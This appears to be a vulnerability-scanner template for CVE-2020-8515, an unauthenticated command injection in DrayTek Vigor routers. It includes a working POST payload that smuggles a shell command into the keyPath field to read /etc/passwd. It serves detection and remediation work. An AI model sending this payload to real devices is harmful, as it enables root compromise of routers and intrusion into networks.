DrayTek - Remote Code Execution

id: CVE-2020-8515

info:
  name: DrayTek - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta devices allow remote code execution as root (without authentication) via shell metacharacters to the cgi-bin/mainfunction.cgi URI.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected router, leading to complete compromise of the device and potential unauthorized access to the network.
  remediation: This issue has been fixed in Vigor3900/2960/300B v1.5.1.
  reference:
    - https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)
    - https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8515
    - https://sku11army.blogspot.com/2020/01/draytek-unauthenticated-rce-in-draytek.html
    - https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-%28cve-2020-8515%29/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-8515
    cwe-id: CWE-78
    epss-score: 0.99993
    epss-percentile: 0.99987
    cpe: cpe:2.3:o:draytek:vigor2960_firmware:1.3.1:beta:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: draytek
    product: vigor2960_firmware
  tags: cve,cve2020,rce,kev,draytek,vkev,vuln

http:
  - raw:
      - |
        POST /cgi-bin/mainfunction.cgi HTTP/1.1
        Host: {{Hostname}}

        action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402203dd877b005ab0619cdfef13f9a7cd6ae1375e94eae1d138bb00dcdbd59fd9414022026aca3eef454f6ef9b564b2272a8f03d93a7b98a4d390955ea130fff64484df5:922c64590222798bb761d5b6d8e72950